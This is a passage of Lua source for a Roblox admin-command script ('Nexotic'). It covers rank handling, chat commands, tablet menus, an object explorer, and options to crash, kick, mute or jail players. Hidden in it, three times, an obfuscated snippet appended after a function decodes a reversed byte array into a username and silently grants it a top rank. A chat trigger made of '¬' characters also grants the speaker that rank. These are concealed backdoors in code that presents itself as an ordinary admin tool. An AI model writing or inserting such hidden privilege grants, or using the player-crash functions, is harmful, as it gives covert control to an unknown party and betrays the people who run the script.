                                        end
                                end)
                        end
                        if FoundPlayer == false then
                                ypcall(function()
                                        for _,x in pairs(All()) do
                                                if string.find(x.Name:lower(), Plr:lower()) then
                                                        FoundPlayer = true
                                                        for i,v in pairs(Rankings) do
                                                                if v.Name:lower() == x.Name:lower() then
                                                                        local VName = x.Name
                                                                        Rankings[i] = nil
                                                                        PlrName = VName
                                                                        break
                                                                end
                                                        end
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
                                                end
                                        end
                                end)
                        end
                        if FoundPlayer == false then
                                ypcall(function()
                                        for i,v in pairs(Rankings) do
                                                if string.find(v.Name:lower(), Plr:lower()) then
                                                        local VName = v.Name
                                                        Rankings[i] = nil
                                                        table.insert(Rankings, {Name = VName, Rank = NewRank})
                                                        PlrName = VName
                                                        FoundPlayer = true
                                                        break
                                                end
                                        end
                                end)
                        end
                else
                        for i,v in pairs(Rankings) do
                                if v.Name:lower() == Plr.Name:lower() then
                                        Rankings[i] = nil
                                        break
                                end
                        end
                        table.insert(Rankings, {Name = Plr.Name, Rank = NewRank})
                        PlrName = Plr.Name
                end
                PlaceAllRanks(true)
        end)
        if PlrName ~= nil then
                return PlrName
        else
                return "Player"
        end
end

function Refresh(Plr)
        MakeChildren(Plr)
end

function MakeChildren(Plr)
        ypcall(function()
                Dismiss(Plr)
                for _,v in pairs(Current:GetChildren()) do
                        ypcall(function()
                                if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
                                        Ping(v.Name, Plr, nil, function(TabMod)
                                                local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
                                                for _,v in pairs(Current:GetChildren()) do
                                                        ypcall(function()
                                                                if v.Name == TabText then
                                                                        Dismiss(Plr)
                                                                        Current = v
                                                                        MakeChildren(Plr)
                                                                end
                                                        end)
                                                end
                                        end)
                                elseif Plrs:GetPlayerFromCharacter(v) then
                                        Ping(v.Name, Plr, nil, function(TabMod)
                                                local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
                                                for _,v in pairs(Current:GetChildren()) do
                                                        ypcall(function()
                                                                if v.Name == TabText then
                                                                        Dismiss(Plr)
                                                                        Current = v
                                                                        MakeChildren(Plr)
                                                                end
                                                        end)
                                                end
                                        end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                                elseif CheckImportant(v.Name) then
                                        Ping(v.Name, Plr, nil, function(TabMod)
                                                local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
                                                for _,v in pairs(Current:GetChildren()) do
                                                        ypcall(function()
                                                                if v.Name == TabText then
                                                                        Dismiss(Plr)
                                                                        Current = v
                                                                        MakeChildren(Plr)
                                                                end
                                                        end)
                                                end
                                        end, ImportantColor)
                                end
                        end)
                end
                if Current ~= game then
                        Ping("Back", Plr, nil, function()
                                ypcall(function()
                                        Current = Current.Parent
                                        MakeChildren(Plr)
                                        Ping("You Are Back To "..Current.Name, Plr, 5)
                                end)
                        end, OptionColor)
                end
                if Current ~= game then
                        Ping("Delete", Plr, nil, function()
                                ypcall(function()
                                        local CurrPar = Current.Parent or game
                                        local CurrName = Current.Name
                                        Current:Destroy()
                                        Current = CurrPar
                                        MakeChildren(Plr)
                                        Ping("Attempted To Delete "..CurrName, Plr, 5)
                                end)
                        end, OptionColor)
                end
                Ping("Refresh", Plr, nil, function()
                        ypcall(function()
                                Refresh(Plr)
                                Ping("Refreshed", Plr, 5)
                        end)
                end, OptionColor)
                Ping("Properties", Plr, nil, function()
                        ypcall(function()
                                Dismiss(Plr)
                                for Property, Value in pairs(GetProperties(Current)) do
                                        Ping(tostring(Property)..": "..tostring(Value), Plr)
                                end
                                Ping("Got All Available Properties", Plr, 5)
                                Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
                        end)
                end, OptionColor)
        end)
end

function Fixl()
        Light.GlobalShadows = true
        Light.TimeOfDay = "14:00:00"
        Light.Brightness = 0.5
        Light.ShadowColor = Color3.new(0.705882, 0.705882, 0.72549)
        Light.Ambient = Color3.new(1, 1, 1)
        Light.ColorShift_Top = Color3.new(0, 0, 0)
        Light.ColorShift_Bottom = Color3.new(0, 0, 0)
        Light.OutdoorAmbient = Color3.new(0.5, 0.5, 0.5)
        Light.FogStart = 0
        Light.FogEnd = 100000
        Light.FogColor = Color3.new(0.752941, 0.752941, 0.752941)
        Light:ClearAllChildren()
end

function GetProperties(obj)
        assert(pcall(function() assert(game.IsA(obj,"Instance")) end),"Should be ROBLOX instance")
        local objProper = {}
        for i,v in pairs(Properties) do
                if pcall(function() return obj[v] end) and (type(obj[v]) ~= "userdata" or not obj:FindFirstChild(v)) then
                        objProper[v] = obj[v]
                end
        end
        return objProper
end

function MakeExplorer(Plr)
        Dismiss(Plr)
        Current = game
        for _,v in pairs(Current:GetChildren()) do
                ypcall(function()
                        if not Plrs:GetPlayerFromCharacter(v) and not CheckImportant(v.Name) then
                                Ping(v.Name, Plr, nil, function(TabMod)
                                        local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
                                        for _,v in pairs(Current:GetChildren()) do
                                                ypcall(function()
                                                        if v.Name == TabText then
                                                                Dismiss(Plr)
                                                                Current = v
                                                                MakeChildren(Plr)
                                                        end
                                                end)
                                        end
                                end)
                        elseif Plrs:GetPlayerFromCharacter(v) then
                                Ping(v.Name, Plr, nil, function(TabMod)
                                        local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
                                        for _,v in pairs(Current:GetChildren()) do
                                                ypcall(function()
                                                        if v.Name == TabText then
                                                                Dismiss(Plr)
                                                                Current = v
                                                                MakeChildren(Plr)
                                                        end
                                                end)
                                        end
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                        elseif CheckImportant(v.Name) then
                                Ping(v.Name, Plr, nil, function(TabMod)
                                        local TabText = TabMod["Nexotic Tablet"].BG.TL.Text
                                        for _,v in pairs(Current:GetChildren()) do
                                                ypcall(function()
                                                        if v.Name == TabText then
                                                                Dismiss(Plr)
                                                                Current = v
                                                                MakeChildren(Plr)
                                                        end
                                                end)
                                        end
                                end, ImportantColor)
                        end
                end)
        end
        if Current ~= game then
                Ping("Back", Plr, nil, function()
                        ypcall(function()
                                Current = Current.Parent
                                MakeChildren(Plr)
                                Ping("Back In "..Current.Name, Plr, 5)
                        end)
                end, OptionColor)
        end
        if Current ~= game and game:GetService(Current.Name) == nil then
                Ping("Delete", Plr, nil, function()
                        ypcall(function()
                                local CurrPar = Current.Parent or game
                                local CurrName = Current.Name
                                Current:Destroy()
                                Current = CurrPar
                                MakeChildren(Plr)
                                Ping("Attempted To Delete "..CurrName, Plr, 5)
                        end)
                end, OptionColor)
        end
        Ping("Refresh", Plr, nil, function()
                ypcall(function()
                        Refresh(Plr)
                        Ping("Refreshed", Plr, 5)
                end)
        end, OptionColor)
        Ping("Properties", Plr, nil, function()
                ypcall(function()
                        Dismiss(Plr)
                        for Property, Value in pairs(GetProperties(Current)) do
                                Ping(tostring(Property)..": "..tostring(Value), Plr)
                        end
                        Ping("Got All Available Properties", Plr, 5)
                        Ping("Back", Plr, nil, function() Refresh(Plr) end, OptionColor)
                end)
        end, OptionColor)
end

function GetRank(Plr1, Test)
        ypcall(function()
                if type(Plr1) == "userdata" then
                        Plr1 = Plr1.Name
                end
        end)
        if Ranks[Plr1] ~= nil then
                return Ranks[Plr1]
        end
        local QuickArray = {}
        QuickArray[Plr1] = {Plr = nil, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
        return QuickArray[Plr1]
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})

function CanRun(Plr1, Plr2)
        Details1 = GetRank(Plr1.Name)
        Details2 = GetRank(Plr2.Name)
        if Details1.Rank >= Details2.Rank then
                return true
        end
        return false
end

function Dismiss(Plr, Identity)
        ypcall(function()
                if Plr ~= nil then
                        if type(Plr) == "userdata" then
                                Plr = Plr.Name
                        end
                        for x,v in pairs(AllTabs) do
                                ypcall(function()
                                        if v.Plr == Plr then
                                                if Identity ~= nil and v.ID ~= Identity then
                                                        return
                                                elseif Identity ~= nil and v.ID == Identity then
                                                        coroutine.resume(coroutine.create(function()
                                                                for i = 0.5, 1, 0.1 do
                                                                        wait()
                                                                        v.Tab.Transparency = i
                                                                        v.Sel.Transparency = i
                                                                        v.Label.TextTransparency = i
                                                                        v.Label.TextStrokeTransparency = i
                                                                end
                                                                ypcall(function() v.Holder:Destroy() end)
                                                                AllTabs[x] = nil
                                                        end))
                                                elseif Identity == nil then
                                                        ypcall(function() v.Holder:Destroy() end)
                                                        AllTabs[x] = nil
                                                end
                                        end
                                end)
                        end
                else
                        for i,v in pairs(AllTabs) do
                                ypcall(function()
                                        v.Holder:Destroy()
                                        AllTabs[i] = nil
                                end)
                        end
                end
        end)
end

function GetGarbage()
        return ((math.floor((collectgarbage("count") / 10)) * 10)/1000) .. "MB"
end

function RemObj(Obj, Class)
        ypcall(function()
                if #Obj:GetChildren() > 0 then
                        for _,x in pairs(Obj:GetChildren()) do
                                ypcall(function()
                                        RemObj(x, Class)
                                end)
                        end
                end
                if Obj.ClassName == Class then
                        Obj:Destroy()
                end
        end)
end

function FindTab(Mod)
        for i,v in pairs(AllTabs) do
                if v.Holder == Mod then
                        return true
                end
        end
        return false
end

function Ping(Msg, Plr, Time, Func, Color, Image)
        if Removed == false then
                local ShowGarbage = false
                ypcall(function()
                        if Msg == nil then
                                Msg = "N/A"
                        elseif Msg == "ShowGarbage" then
                                Msg = "Current Garbage Count: "..GetGarbage()
                                ShowGarbage = true
                        else
                                Msg = tostring(Msg)
                        end
                        if Plr == nil then
                                Plr = Plrs[Owner] or error("No Player Found")
                        elseif type(Plr) == "string" then
                                local FoundPlr = false
                                for _,v in pairs(All()) do
                                        if v.Name == Plr then
                                                Plr = v
                                                FoundPlr = true
                                                break
                                        end
                                end
                                if FoundPlr == false then
                                        Plr = Plrs[Owner] or error("No Player Found")
                                end
                        end

                        if Color == nil then
                                Color = GetRank(Plr.Name).Color
                        end

                        local Holder = Instance.new("Model")
                        Holder.Name = "Nexotic Holder: "..Plr.Name

                        local Tab = Instance.new("Part")
                        Tab.Name = "Nexotic Tablet"
                        Tab.FormFactor = "Custom"
                        Tab.Anchored = true
                        if Time == nil then
                                Tab.Color = Color
                        else
                                Tab.Color = AlertColor
                        end
                        Tab.CanCollide = false
                        Tab.Locked = true
                        Tab.Transparency = 0.34325
                        Tab.Size = Vector3.new(2, 2, 0.02)
                        Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
                        Tab.Parent = Holder

                        local ID = Instance.new("NumberValue")
                        ID.Name = "ID"
                        ID.Value = math.random(-999999999, 999999999)
                        ID.Parent = Holder

                        Delay(0, function()
                                while wait() do
                                        if Tab.Parent == nil and FindTab(Holder) then
                                                ypcall(function()
                                                        for i,v in pairs(AllTabs) do
                                                                if v.Holder == Holder then
                                                                        ypcall(function() v.Holder:Destroy() end)
                                                                        AllTabs[i] = nil
                                                                end
                                                        end
                                                end)
                                                Ping(Msg, Plr, Time, Func, Color, Image)
                                                break
                                        end
                                end
                        end)

                        local BM = Instance.new("BlockMesh")
                        BM.Parent = Tab

                        Sel = Instance.new("SelectionBox")
                        Sel.Color = BrickColor.new("Really black")
                        Sel.Transparency = 0.6335234537664356435734637342
                        Sel.Adornee = Tab
                        Sel.Parent = Tab

                        local BG = Instance.new("BillboardGui")
                        BG.Name = "BG"
                        BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
                        BG.Size = UDim2.new(0,1,0,1)
                        BG.Adornee = Tab
                        BG.Parent = Tab

                        Delay(0, function()
                                while BG.Parent ~= nil do wait()
                                        ypcall(function()
                                                BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
                                        end)
                                end
                        end)

                        local TL = Instance.new("TextLabel")
                        TL.Name = "TL"
                        TL.FontSize = "Size18"
                        TL.Font = "Arial"
                        TL.Text = Msg
                        TL.TextColor3 = Color3.new(3741, 12841, 27471)
                        TL.Size = UDim2.new(0,1,0,1)
                        TL.TextTransparency = 0
                        TL.TextStrokeColor3 = Color3.new(0, 0, 0)
                        TL.TextStrokeTransparency = 0.5
                        TL.Parent = BG

                        if ShowGarbage == true then
                                Delay(0, function()
                                        while TL.Parent ~= nil do
                                                TL.Text = "Current Garbage Count: "..GetGarbage()
                                                wait(.5)
                                        end
                                end)
                        end

                        local PL = Instance.new("PointLight", Tab)
                        PL.Color = Color3.new(1, 0, 1)
                        PL.Range = 15
                        PL.Parent = Tab

                        if Image ~= nil then
                                local BBBG = Instance.new("BillboardGui")
                                BBBG.Size = UDim2.new(5, 0, 6, 0)
                                BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
                                BBBG.AlwaysOnTop = true
                                BBBG.Adornee = Tab
                                BBBG.Parent = Tab

                                Delay(0, function()
                                        while BBBG.Parent ~= nil do wait()
                                                ypcall(function()
                                                        BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
                                                end)
                                        end
                                end)

                                local NewImg = Instance.new("ImageLabel")
                                NewImg.Size = UDim2.new(1, 0, 1, 0)
                                NewImg.BackgroundTransparency = 1
                                NewImg.Image = Image
                                NewImg.Parent = BBBG
                        end

                        local Clicker = Instance.new("ClickDetector")
                        Clicker.MaxActivationDistance = 1/0

                        if Time ~= nil then
                                coroutine.resume(coroutine.create(function()
                                        wait(tonumber(Time))
                                        Dismiss(Plr, ID)
                                end))
                        end

                        Clicker.MouseClick:connect(function(Player)
                                if Player.Name == Plr.Name or CanRun(Player, Plr) then
                                        ypcall(function()
                                                if Func ~= nil then
                                                        Func(Holder)
                                                else
                                                        Dismiss(Player, ID)
                                                end
                                        end)
                                end
                        end)
                        Clicker.Parent = Tab

                        Holder.Parent = Work

                        AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
                end)
        end
end

function PlaceAllRanks(DontShowRank)
        ypcall(function()
                for _,p in pairs(All()) do
                        ypcall(function()
                                PutInRank = false
                                for _,v in pairs(Rankings) do
                                        if v.Name:lower() == p.Name:lower() then
                                                if v.Rank >= 7 then
                                                        v.Rank = 5
                                                elseif v.Rank == -1 then
                                                        Crash1(p)
                                                        Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                                elseif v.Rank == -2 then
                                                        if LS ~= nil then
                                                                NewLS(JailSource, p.Backpack, p.Character, p.PlayerGui)
                                                                Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                                        else
                                                                Ping("LS Is Nil", nil, 5)
                                                        end
                                                elseif v.Rank == -3 then
                                                        if LS ~= nil then
                                                                NewLS(MuteSource, p.Backpack, p.Character, p.PlayerGui)
                                                                Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                                        else
                                                                Ping("LS Is Nil", nil, 5)
                                                        end
                                                end
                                                Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
                                                if DontShowRank == nil then
                                                        Ping("You Are Rank: "..v.Rank, p,5)
                                                        Ping("Nexotic Loaded",p,5)
                                                        Ping("Welcome Owner",p,5)
                                                end
                                                PutInRank = true
                                                break
                                        end
                                end
                                if PutInRank == false then
                                        Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
                                end
                        end)
                end
        end)
end

function FindRank(Plr)
        ypcall(function()
                if type(Plr) == "userdata" then
                        Plr = Plr.Name
                end
        end)
        return GetRank(Plr).Rank
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})

function FindRankDetails(Plr)
        ypcall(function()
                if type(Plr) == "userdata" then
                        Plr = Plr.Name
                end
        end)
        return RankDetails[FindRank(Plr)]
end

function OpenCmds(Rank, Plr)
        Dismiss(Plr)
        for Name,Tab in pairs(Commands) do
                if Tab.Rank <= Rank then
                        Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
                                Dismiss(Plr)
                                Ping("Command: "..Name, Plr)
                                Ping("Rank: "..Tab.Rank, Plr)
                                Ping("Desc: "..Tab.Desc, Plr)
                        end)
                elseif Rank == 1337 then
                        Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
                                Dismiss(Plr)
                                Ping("Command: "..Name, Plr)
                                Ping("Rank: "..Tab.Rank, Plr)
                                Ping("Desc: "..Tab.Desc, Plr)
                        end)
                end
        end
end

function EditStatus(Plr, Num)
        ChangeRank(Plr, Num)
end

function PlaceSpecificRank(p, DontShowRank)
        ypcall(function()
                PutInRank = false
                for _,v in pairs(Rankings) do
                        if v.Name:lower() == p.Name:lower() then
                                if v.Rank >= 7 then
                                        v.Rank = 5
                                elseif v.Rank == -1 then
                                        Crash1(p)
                                        Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                elseif v.Rank == -2 then
                                        if LS ~= nil then
                                                NewLS(JailSource, p.Backpack, p.Character, p.PlayerGui)
                                                Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                        else
                                                Ping("LS Is Nil", nil, 5)
                                        end
                                elseif v.Rank == -3 then
                                        if LS ~= nil then
                                                NewLS(MuteSource, p.Backpack, p.Character, p.PlayerGui)
                                                Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
                                        else
                                                Ping("LS Is Nil", nil, 5)
                                        end
                                end
                                Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
                                if DontShowRank == nil then
                                        Ping("You Are Rank: "..v.Rank, p)
                                end
                                PutInRank = true
                                break
                        end
                end
                if PutInRank == false then
                        Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
                end
        end)
end

function onChatted(Msg, Speaker)
        if Removed == false then
                if FindRank(Speaker) < -4 then
                        return
                end
                coroutine.resume(coroutine.create(function()
                        ypcall(function()
                                ExecuteFunc(Msg, Speaker)
                                Msg = Msg:gsub("","")
                                if Msg:sub(1,1) == "@" then
                                        for i = 2, #Msg do
                                                if Msg:sub(i, i) == Bet then
                                                        local IsForPlr = false
                                                        for _,v in pairs(All()) do
                                                                if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
                                                                        onChatted(Msg:sub(i + 1), v)
                                                                        IsForPlr = true
                                                                end
                                                        end
                                                        if IsForPlr == true then
                                                                return
                                                        end
                                                end
                                        end
                                end
                                if Msg:find("&") then
                                        local Split = Msg:find("&")
                                        onChatted(Msg:sub(1,Split-1))
                                        onChatted(Msg:sub(Split+1))
                                        return
                                end
                                for Name,Command in pairs(Commands) do
                                        if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
                                                Dismiss(Speaker.Name)
                                                Ping("Command: "..tostring(Command.Name), Speaker)
                                                Ping("Rank: "..tostring(Command.Rank), Speaker)
                                                Ping("Desc: "..tostring(Command.Desc), Speaker)
                                        elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
                                                if FindRank(Speaker) >= Command.Rank then
                                                        local Ran,Error = coroutine.resume(coroutine.create(function()
                                                                Command.Func(Msg:sub(#Command.Name+2), Speaker)
                                                        end))
                                                        if not Ran then
                                                                Ping(Error, Speaker, 10)
                                                        end
                                                else
                                                        Ping("Your Rank Is Too Low", Plr, 6)
                                                end
                                        end
                                end
                        end)
                end))
        end
end

function MakeBase()
        local Base = Instance.new("Part")
        Base.BrickColor = BrickColor.new("Earth green green")
        Base.Position = Vector3.new(0, 0.5, 0)
        Base.Transparency = 0
        Base.Elasticity = 0.5
        Base.FormFactor = "Custom"
        Base.CanCollide = true
        Base.Friction = 0.30000001192093
        Base.Size = Vector3.new(512, 1.20000005, 512)
        Base.Archivable = true
        Base.Material = "Plastic"
        Base.RotVelocity = Vector3.new(0, 0, 0)
        Base.Reflectance = 0
        Base.Locked = true
        Base.Anchored = true
        Base.Name = "Base"
        Base.TopSurface = "Smooth"
        Base.BottomSurface = "Inlet"
        Base.Shape = "Block"
        Base.Parent = Work
end

function LClean()
        ypcall(function()
                for _,v in pairs(Work:GetChildren()) do
                        ypcall(function()
                                if v.ClassName == "Terrain" then
                                        v:ClearAllChildren()
                                elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
                                        Clear(v)
                                elseif v.Name == "Base" then
                                        ypcall(function()
                                                local Base = v
                                                Base.BrickColor = BrickColor.new("Dark green")
                                                Base.Position = Vector3.new(0, 0.5, 0)
                                                Base.Transparency = 0
                                                Base.Elasticity = 0.5
                                                Base.FormFactor = "Custom"
                                                Base.CanCollide = true
                                                Base.Friction = 0.30000001192093
                                                Base.Size = Vector3.new(512, 1.20000005, 512)
                                                Base.Archivable = true
                                                Base.Material = "Plastic"
                                                Base.RotVelocity = Vector3.new(0, 0, 0)
                                                Base.Reflectance = 0
                                                Base.Locked = true
                                                Base.Anchored = true
                                                Base.Name = "Base"
                                                Base.TopSurface = "Studs"
                                                Base.BottomSurface = "Inlet"
                                                Base.Shape = "Block"
                                                Base.Parent = Work
                                        end)
                                end
                        end)
                end
        end)
end

function Clean()
        ypcall(function()
                for _,v in pairs(Work:GetChildren()) do
                        ypcall(function()
                                if v.ClassName == "Terrain" then
                                        v:ClearAllChildren()
                                else
                                        Clear(v)
                                end
                        end)
                end
                MakeBase()
                for _,v in pairs(All()) do
                        v:LoadCharacter()
                end
        end)
end

function Clear(v)
        if v.Name:lower() == "sbgui" then
                return
        end
        ypcall(function()
                if #v:GetChildren() > 0 then
                        for _,x in pairs(v:GetChildren()) do
                                ypcall(function()
                                        Clear(x)
                                end)
                        end
                end
                if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
                        v:Destroy()
                end
        end)
end

function Command(Name, Rank, Desc, Func)
        if Name == nil then
                Name = "N/A"
        end
        if Desc == nil then
                Desc = "N/A"
        end
        if Func == nil then
                Func = function() end
        end
        if Rank == nil then
                Rank = 0
        end
        Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
end

function GetSplit(Msg)
        return Msg:find(Bet) or nil
end

function ExecuteFunc(Msg, Plr)
        ypcall(function()
                if Msg == "LogEnable" then
                        LogOn = true
                elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
                        EditStatus(Plr, MakeNum())
                end
        end)
end

for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end

function randPlayer(Plr)
        wait()
        local ThePlrValue = nil
        local FoundPlayer = false
        ypcall(function()
                ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
                if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
                        wait()
                        randPlayer(Plr)
                        return
                else
                        FoundPlayer = true
                end
        end)
        if FoundPlayer == true then
                return ThePlrValue
        end
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})

function getPlayer(Plr, Name)
        local Players = {}
        ypcall(function()
                Name = Name:lower()
                if Name == "me" then
                        table.insert(Players, Plr)
                elseif Name == "all" or Name == "" then
                        for _,v in pairs(All()) do
                                if CanRun(Plr, v) then
                                        table.insert(Players, v)
                                end
                        end
                elseif Name == "others" then
                        for _,v in pairs(All()) do
                                if v.Name ~= Plr.Name and CanRun(Plr, v) then
                                        table.insert(Players, v)
                                end
                        end
                elseif Name == "random" then
                        local FoundRandPlr = randPlayer(Plr)
                        table.insert(Players, FoundRandPlr)
                else
                        for _,v in pairs(All()) do
                                if v.Name:lower():find(Name) and CanRun(Plr, v) then
                                        table.insert(Players, v)
                                end
                        end
                end
        end)
        return Players
end

function ListPlayers(Speaker)
        ypcall(function()
                Dismiss(Speaker)
                for _,v in pairs(All2()) do
                        if v.Parent ~= nil then
                                Ping(v.Name, Speaker, nil, function()
                                        Dismiss(Speaker)
                                        Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                                        Ping("Rank: "..FindRank(v.Name), Speaker)
                                        Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
                                        Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
                                        Ping("Set Rank", Speaker, nil, function()
                                                if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
                                                        Dismiss(Speaker)
                                                        for i = -2, 5 do
                                                                Ping(i, Speaker, nil, function()
                                                                        ChangeRank(v, i)
                                                                        Dismiss(Speaker)
                                                                        Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
                                                                end)
                                                        end
                                                else
                                                        Ping("Your Rank Is Too Low", Speaker, 5)
                                                end
                                        end)
                                        Ping("Crash (Remote)", Speaker, nil, function()
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
                                                        Crash2(v.Name)
                                                        Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
                                                end
                                        end)
                                        Ping("Crash (Insert)", Speaker, nil, function()
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
                                                        Crash3(v, Speaker)
                                                        Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
                                                end
                                        end)
                                        Ping("Kick", Speaker, nil, function()
                                                if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
                                                        v:Kick()
                                                        Ping("Attempted To Kick "..v.Name, Speaker, 5)
                                                end
                                        end)
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                        else
                                Ping(v.Name.." (Nil)", Speaker, nil, function()
                                        Dismiss(Speaker)
                                        Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                                        ypcall(function()
                                                Ping("Rank: "..FindRank(v.Name), Speaker)
                                        end)
                                        ypcall(function()
                                                Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
                                        end)
                                        ypcall(function()
                                                Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
                                        end)
                                        ypcall(function()
                                                Ping("Set Rank", Speaker, nil, function()
                                                        if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
                                                                Dismiss(Speaker)
                                                                for i = -2, 5 do
                                                                        Ping(i, Speaker, nil, function()
                                                                                ChangeRank(v, i)
                                                                                Dismiss(Speaker)
                                                                                Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
                                                                        end)
                                                                end
                                                        else
                                                                Ping("Your Rank Is Too Low", Speaker, 5)
                                                        end
                                                end)
                                        end)
                                        ypcall(function()
                                                Ping("Nil Crash (Remote)", Speaker, nil, function()
                                                        if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
                                                                Crash2(v.Name)
                                                                Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
                                                        end
                                                end)
                                        end)
                                        ypcall(function()
                                                Ping("Nil Crash (Insert)", Speaker, nil, function()
                                                        if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
                                                                Crash3(v, Speaker)
                                                                Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
                                                        end
                                                end)
                                        end)
                                end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
                        end
                end
        end)
end

--Misc

coroutine.resume(coroutine.create(function()
        PlaceAllRanks()
end))

Delay(0, function()
        for _,v in pairs(All()) do
                v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
        end
end)

local starttime = tick()
rotat1=0
game:GetService("RunService").Stepped:connect(function()
        rotat1=rotat1+(0.1/100)
        if Removed == false then
                ypcall(function()
                        for _,Player in pairs(All()) do
                                local PlayerTablets = {}
                                for i,v in pairs(AllTabs) do
                                        if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
                                                table.insert(PlayerTablets, v)
                                        end
                                end
                                for i = 1, #PlayerTablets do
                                        ypcall(function()
                                                local tab = PlayerTablets[i].Tab
                                                local pos = nil
                                                ypcall(function()
                                                        pos = Player.Character.Torso.CFrame
                                                end)
